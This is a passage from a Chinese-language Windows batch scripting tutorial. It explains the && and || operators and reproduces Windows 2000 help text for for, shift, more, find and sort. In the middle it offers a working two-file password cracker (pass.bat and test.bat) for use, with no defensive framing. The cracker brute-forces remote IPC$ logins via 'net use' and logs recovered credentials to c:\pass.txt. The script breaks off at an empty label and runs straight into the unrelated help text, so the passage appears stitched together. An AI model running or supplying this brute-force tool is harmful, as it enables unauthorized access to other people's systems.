dir c:\ > a.txt && dir d:\>> a.txt

這樣,依據優先順序高低,DOS將把這句話分成以下兩部分:dir c:\ > a.txt和dir d:\ >> a.txt。例十八中的幾句的差別比較特殊,值得好好研究體會一下。

當然這裡還可以利用&命令(自己想一下道理哦):

dir c:\ > a.txt & dir d:\ >>a.txt

16、||

這個命令的用法和&&幾乎一樣,但作用剛好和它相反:利用這種方法在執行多條命令時,當遇到一個執行正確的命令就退出此命令組合,不再繼續執行下面的命令。題目:檢視當前目錄下是否有以s開頭的exe檔案,如果有則退出。例十九:

@echo off

dir s*.exe || exit

其實這個例子是有破綻的,你看出來了嗎?其實很簡單,自己試試就知道了嘛:如果存在那個exe檔案,就退出;如果不存在那個exe檔案,也退出!為什麼?因為如果不存在那個.exe檔案,則前一條命令dir s*.exe執行肯定是不成功的,所以就繼續執行exit,自然就退出了,呵呵。那麼如何解決題目給出的問題呢?看例二十:

@echo off

dir s*.exe || echo Didn't exist file s*.exe& pause & exit

這樣執行的結果,就能達到題目的要求,是否存在s*.exe將出現兩種結果。這裡加暫停的意思,當然是讓你能看到echo輸出的內容,否則一閃而過的視窗,echo就白寫了。

給出兩個更好研究優先順序(同時也是更難理解)的指令碼,仔細研究它們的區別,以便徹底理解各種命令的優先順序順序,對以後自己利用這些命令寫指令碼有很大的好處----不會出錯!OK,請看例二十一和例二十二:

例二十一:

@echo off

dir a.ttt /a & dir a.txt || exit

例二十二:

@echo off

dir a.ttt /a && dir a.txt || exit

有關管道命令和組合命令就大概介紹到這裡了,不知道聰明的你是否理解?呵呵,能理解就成天才了,除非你以前就已經掌握!千萬別小看了這幾個鬼命令,大棒槌是我的說,簡直就不是人學的東西!但我還是靜下心來研究了一番,最後得出的結論如上所述,已經一點不剩的交給你了,希望你好好收藏並消化吸收,當然有錯誤被你發現了,或者不完整的地方被你看出來了,請趕緊告訴我一聲!

這幾個命令真的把我的頭都搞大了。在網上有一篇流傳很廣的批處理教程:“簡明批處理教程”,雖然說的比較全面,但看起來很不過癮。在對for等命令介紹時就一個for/? > a.txt & start a.txt完事了(當然這一點上我不能說人傢什麼,畢竟我連for /?都沒給出),而對上述管道命令和組合命令、以及這篇教程以後將講到的用批處理操作登錄檔等方面根本沒有介紹。我之所以花整整一章來講管道命令和組合命令,是因為他們才是批處理的精華和靈魂,能否正確利用好這幾個命令,是能否掌握批處理的前提條件。如for、set等DOS命令的問題,可以從DOS的角度出發專門有針對性的學習,但有關這幾個命令的問題,卻是不容易精通掌握的----他們之間的關係太複雜了!

將下列程式碼存為bat檔案

1、如果用字典破解:pass.bat 字典檔案路徑及名稱 主機 使用者名稱

2、如果用數字破解:pass.bat 起始數 步長 結束數 主機 使用者名稱

密碼破解出來之後,存放於c:\pass.txt檔案裡面。

將下列程式碼存為pass.bat檔案

@echo off

echo------------------------------------------------------------------->>c:\pass.txt

echo------------------------------------------------------------------->>c:\pass.txt

date /t >>c:\pass.txt

time /t >>c:\pass.txt

echo 破解結果: >>c:\pass.txt

if "%6"=="1" goto 大棒槌是我的說2

:大棒槌是我的說1

start "正在破解" /min cmd /c for /f %%i in (%1) do call test.bat %2"%%i" %3

goto quit

:大棒槌是我的說2

start "正在破解" /min cmd /c for /l %%i in (%1,%2,%3) do call test.bat %4"%%i" %5

:quit

將下列程式碼存為test.bat

net use \\%1\ipc$ %2 /user:"%3"

goto answer%ERRORLEVEL%

rem %ERRORLEVEL%表示取前一命令執行返回結果,net use成功返回0,失敗返回2

:answer0

echo 遠端主機:"%1" >>c:\pass.txt

echo 使用者:"%3" >>c:\pass.txt

echo 密碼:%2 >>c:\pass.txt

net use \\%1\ipc$ /delet

exit

:answer2

For

對一組檔案中的每個檔案執行指定的命令。

可以在批處理程式中或直接從命令提示符使用 for 命令。

要在批處理程式中使用 for命令,請使用以下語法:

for %%variable in (set) docommand[command-parameters]

要在命令提示符下使用 for,請使用以下語法:

for %variable in (set) do command[command-parameters]

引數

%%variable 或 %variable

代表可替換的引數。for 命令使用在 set 中指定的每個文字字串替換 %%variable(或 %variable),直到此命令(在 command-parameters 中指定)處理所有的檔案為止。使用 %% variable 在批處理程式中執行 for 命令。使用 % variable 通過命令提示符執行 for 命令。變數名區分大小寫。

(set)

指定要用指定的命令處理的一個或多個檔案或文字字串。需要括號。

command

指定要在指定的 set 所包含的每個檔案上執行的命令。

command-parameters

指定要用於指定命令(如果指定的命令要使用任何引數或開關)的任何引數或開關。

如果啟用了命令擴充套件(Windows2000 中的預設設定),將支援 for 命令的其他形式。

For 命令的其他形式

如果啟用了命令擴充套件,將支援如下 for 命令的其他格式:

只限於目錄

for /D [%% | %]variable in (set) docommand[command-parameters]

如果 set 包含萬用字元(* 和 ?),則指定與目錄名匹配,而不是檔名。

遞迴

for /R [[drive :]path] [%% | %]variable in(set) docommand [command-parameters]

進入根目錄樹[drive:]path,在樹的每個目錄中執行 for 語句。如果在 /R 後沒有指定目錄,則假定為當前目錄。如果 set 只是一個句號 (.) 字元,則只列舉目錄樹。

迭代

for /L [%% | %]variable in (start,step,end) do command [command-parameters]

集合是一系列按步長量劃分的、從頭到尾的數字。這樣,(1,1,5) 將生成序列 1 2 3 4 5,而 (5,-1,1) 將生成序列 (5 4 3 2 1)。

檔案解析

for /F ["options"] [%% |%]variable in (filenameset) do command [command-parameters]

for /F ["options"] [%% |%]variable in ("literal string") do command[command-parameters]

for /F ["options"] [%% |%]variable in ('command') do command [command-parameters]

或者,如果出現usebackq 選項:

for /F ["options"] [%% |%]variable in (filenameset) do command [command-parameters]

for /F ["options"] [%% |%]variable in ('literal string') do command [command-parameters]

for /F ["options"] [%% |%]variable in (`command`) docommand [command-parameters]

filenameset 引數指定一個或多個檔名稱。在繼續到 filenameset 中的下一個檔案之前,每個檔案都會被開啟、讀取和處理。

過程由讀取檔案、分成獨立的文字行及然後將每行解析成零個或更多個令牌組成。然後使用設定為找到的一個或多個令牌字串的變數值(或多個值)集合呼叫 for 迴圈體。預設情況下,/F 傳遞每個檔案每一行的第一個空白分隔符號。

跳過空行。通過指定可選的“options”引數可以覆蓋預設的解析行為。這是一個引用字串,它包含一個或多個關鍵字以指定不同的解析選項。關鍵字是:

關鍵字 說明

eol=c 指定行尾註釋字元(只一個字元)

skip=n 指定在檔案的開頭跳過的行數。

delims=xxx 指定定界符集合。這將替換空格和製表符的預設分隔符集。

tokens=x,y,m-n 指定將令牌從每行傳遞到每個反覆的正文。這將導致分配其他變數名。m-n 格式是一個範圍,指定從 mth 到 nth 的令牌。如果在令牌 = 字串中最後一個字元是星號,則將分配附加的變數,並在解析最後一個令牌後在行上接收剩餘的文字。

usebackq 指定將右引號字串作為命令執行,單引號字串是文字字串命令,您可以使用雙引號包括 filenameset 中的檔名。

變數替換

此外,已經增強了 for 變數引用的替換修改程式。現在可以使用下列可選的語法(對於任何變數 I):

變數(使用修改程式) 說明

%~I 展開刪除了周圍的任何引號 (") 的 %I

%~fI 將 %I 展開到完全合格的路徑名

%~dI 只將 %I 展開到驅動器號

%~pI 只將 %I 展開到路徑

%~nI 只將%I 展開到檔名

%~xI 只將 %I 展開到副檔名

%~sI 展開路徑以只包含短名稱

%~aI 將 %I 展開到檔案的檔案屬性

%~tI 將 %I 展開到檔案的日期/時間

%~zI 將 %I 展開到檔案大小

%~$PATH:I 搜尋 PATH 環境變數所列出的目錄,並將 %I 展開開到第一個找到結果的全部合格名稱。如果沒有定義環境變數名,或搜尋後沒有找到檔案,則此修改程式將擴充套件為空字串。

修改程式可以合併以獲得複雜的結果:

變數(使用合併的修改程式) 說明

%~dpI 只將 %I 展開到驅動器號和路徑

%~nxI 只將 %I 展開到檔名和副檔名

%~fsI 將 %I 展開到只包含短名稱的完整路徑名

%~dp$PATH:I 在 PATH 環境變數所列出的目錄中搜索%I,並展開到第一個找到結果的驅動器號和路徑

%~ftzaI 將 %I 擴充套件到與 dir 相似的輸出行

注意

在上述範例中,%I 和 PATH 可被其他有效值替換。通過有效的 for 變數名終止 %~ 語法。

使用大寫變數名(例如 %I)可以使程式碼更具可讀性,並且避免與不區分大小寫的修改程式混淆。

Shift

更改批處理檔案中可替換引數的位置。

shift

啟用命令擴充套件(Windows2000 中的預設設定)後,shift命令支援 /n 開關,該開關通知命令在第 n 個引數處開始更改,n 可以是從 0 到 8 的任何一個值。例如,

SHIFT /2

將 %3 改為 %2,將 %4 改為 %3 等等,而 %0 和 %1 保持不變。

篩選器命令

篩選器命令可以幫助您排序、檢視和選擇部分命令輸出結果。

通過篩選器命令傳遞資訊

篩選器命令可以劃分、重排以及提取通過的部分資訊操作。Windows 2000 有三個篩選器命令:

more 命令每次顯示一屏檔案內容或命令輸出。

find 命令在檔案和命令輸出中搜索指定字元。

sort 命令按字母順序排列檔案和命令輸出。

要將輸入從檔案傳送到篩選器命令,請使用小於符號 (<)。如果要篩選器命令從其他命令獲得輸入,請使用管道 (|)。

使用 more 命令來控制螢幕顯示

more 命令每次一屏地顯示檔案的內容或命令輸出。例如,下面的 more 命令每次顯示一屏List.txt 檔案的內容:

more < list.txt

資訊顯示一屏後,會出現字“More”。要繼續顯示下一屏,請按鍵盤上任意鍵。要停止命令且不檢視詳細資訊,請按CTRL+C 鍵。

如果使用產生多屏輸出的命令,more將十分有用。例如,假設定要檢視硬碟的目錄樹。如果 Windows 2000 不能將目錄在一屏內全部顯示出來,請使用帶管道號 (|) 和 more 命令的 tree 命令,如下例所示:

tree c:\ | more

tree 命令的第一屏輸出被顯示,後跟詞“More”。Windows 2000暫停,直到使用者按鍵盤上的任意鍵為止(PAUSE 鍵除外)。

使用 find 命令搜尋文字

find 命令在一個或多個檔案中搜索指定文字。Windows 2000 顯示每個包含該文字的行。find 命令可以用作篩選器命令或者標準的 Windows 2000 命令。有關將 find 用作標準的 Windows2000 命令的資訊,請單擊“相關主題”列表中的 find。

要將 find 當作篩選器命令使用,請包含小於符號 (<) 和搜尋的檔名。當輸入檔名時,請記住搜尋要區分大小寫。例如,下面的命令查詢檔案 Trade.txt 中所有的“Pacific Rim”字串:

find "Pacific Rim"< trade.txt

要儲存 find 命令的輸出而不是顯示輸出,請使用大於號 (>) 和要儲存輸出的檔名。例如,下面的命令查詢檔案 Trade.txt 中所有的“Pacific Rim”字串,並將結果儲存在 Nwtrade.txt 檔案中:

find "Pacific Rim"< trade.txt > nwtrade.txt

對文字檔案排序

sort 命令按字母順序排列文字檔案或命令的輸出。例如,可以使用以下命令對 List.txt 檔案的內容進行排序,並在螢幕上顯示結果:

sort < list.txt

在此範例中,sort 命令對 List.txt 檔案的行進行排序並顯示結果,但不更改檔案。要儲存 sort 命令的輸出而不是顯示輸出,請在命令中包含大於號 (>) 和檔名。例如,可以使用以下命令對 List.txt 檔案的行按字母順序排序,並將結果存到 Alphlist.txt 檔案中:

sort < list.txt > alphlist.txt

要排序命令的輸出,請鍵入後面帶有管道 (|) 和 sort 命令的命令。例如,下面的命令對 find 命令的輸出結果進行排序:

find "Jones" maillst.txt | sort

在鍵入該命令時,Windows2000 按字母順序列出在其中出現“Jones”的行。

帶重定向符的合併命令

可以將篩選器命令、其他命令和檔名合併以生成自定義命令。例如,可以使用以下命令儲存包含“LOG”字串的檔名:

dir /b | find "LOG" >loglist.txt

Windows 2000 通過 find 過濾器命令傳送 dir 命令的輸出並將包含字串“Log”的檔名儲存在 Loglist.txt 檔案中。將結果儲存為檔名列表(如,A.log、Logdat.svd 和 Mylog.bat)。

要在相同命令中使用多個篩選器,請使用管道 (|) 分隔篩選器。例如,下面的命令搜尋 C 盤上的每個目錄以查詢包含“Log”字串的檔名,並且每次顯示一屏:

dir c:\ /s /b | find "LOG" | more

因為使用管道 (|),Windows 2000 通過 find 命令傳送 dir 命令的輸出結果。find 命令只選擇包含字串“Log”的檔名。more 命令每次一屏地顯示 find 命令選擇的檔名。

More

每次顯示一個輸出螢幕。該命令通常用於檢視長檔案。可以單獨使用此命令,或者使用它控制其他命令的輸出,例如 type 命令。當顯示填充可用的檢視區域時將出現 more 提示,使用者可以輸入許多命令來控制檢視檔案其餘部分的方式。

command name | more [/c] [/p] [/s] [/tn][+n]

more [[/c] [/p] [/s] [/tn] [+n]] <[drive:][path] filename

more [/c] [/p] [/s] [/tn] [+n] [files]

引數

[drive:][path] filename

指定要顯示的檔案。

command name

指定將顯示其輸出的命令。

/c

顯示頁面前清除螢幕。

/p

擴充套件換頁符。

/s

將多個空白行更改為一個空白行。

/tn

將製表位更改為 n 個空格

+n

顯示由 n 指定的行開始的第一個檔案。

files

指定要顯示的檔案列表。用空格分隔檔名。

More 子命令

以下命令在 more 提示 (-- More --) 下接受。

關鍵字 操作

space 顯示下一頁。

ENTER 顯示下一行。

F 顯示下一個檔案。

q 退出。

? 顯示可用命令。

= 顯示行號。

P n 顯示以下 n 行。

S n 跳過下面 n 行。

Find

在一個檔案或多個檔案中搜索指定的文字字串。

當搜尋到指定的檔案後,find將顯示出包含指定字串的所有行。

find [/v] [/c] [/n] "string"[[drive:][path]filename[...]]

引數

/v

顯示未包含指定字串的所有行。

/c

只顯示包含指定字串的行數。

/n

將檔案行號置於每行開頭。

/I

指定搜尋不區分大小寫。

"string"

指定要搜尋的字元組。必須將string 的文字包括在引號中。

[drive:][path] filename

指定要在其中搜索指定字串的檔案的位置和名稱。

Sort

讀取輸入、排序資料並將結果寫到螢幕、檔案和其他裝置上。

sort [/r] [/+n] [/m kilobytes] [/l locale][/rec characters] [[drive1:][path1]filename1] [/t [drive2:][path2]] [/o[drive3:][path3]filename3]

[command |] sort [/r] [/+n] [/m kilobytes][/l locale] [/rec characters] [[drive1:][path1]filename1] [/t [drive2:][path2]][/o [drive3:][path3]filename3]

引數

/r

顛倒排序順序,即從 Z 到 A 排序,然後從 9 到 0 排序。

/+n

指定字元位置號 n,sort 在此處開始每次比較。例如,/+3 表示每次比較在每行的第三個字元開始。少於 n 個字元的行在其他行之前排序。預設情況下,比較在每行的第一個字元開始。

/m kilobytes

指定用於排序的主記憶體數量,按千位元組 (KB) 計。使用的記憶體最小值總是160 KB。如果指定了記憶體大小,則無論有多少主記憶體可用,指定的確切數量(但至少 160 KB)的記憶體將用於排序。

如果輸入輸出均為檔案,在沒有指定大小時,預設最大記憶體大小為可用主記憶體的 90%,否則為主記憶體的 45%。預設設定通常會產生最佳的效能。

/l locale

替代由系統預設區域設定定義的字元排序順序;即在安裝 Windows 2000 時選擇的語言和“國家(地區)”。目前,預設區域設定唯一的備用選項就是“C”區域設定,該區域設定比自然語言排序快,根據二進位制編碼對字元排序。

/rec characters

指定記錄或輸入檔案的行中的最多字元數(預設值為 4096,最大值為 65535)。

[drive1:][path1]filename1

指定要排序的檔案。如果沒有指定檔名,則對標準輸入排序。指定輸入檔案比將同一檔案作為標準輸入重定向速度快。

/t [drive2:][path2]

指定保留 sort 命令工作儲存的目錄路徑,防止資料不能裝入主記憶體。預設為使用系統臨時目錄。

/o [drive3:][path3]filename3

指定要儲存排序後的輸入的檔案。如果沒有指定,資料將寫入標準輸出。指定輸出檔案比將同一檔案作為標準輸出重定向速度快!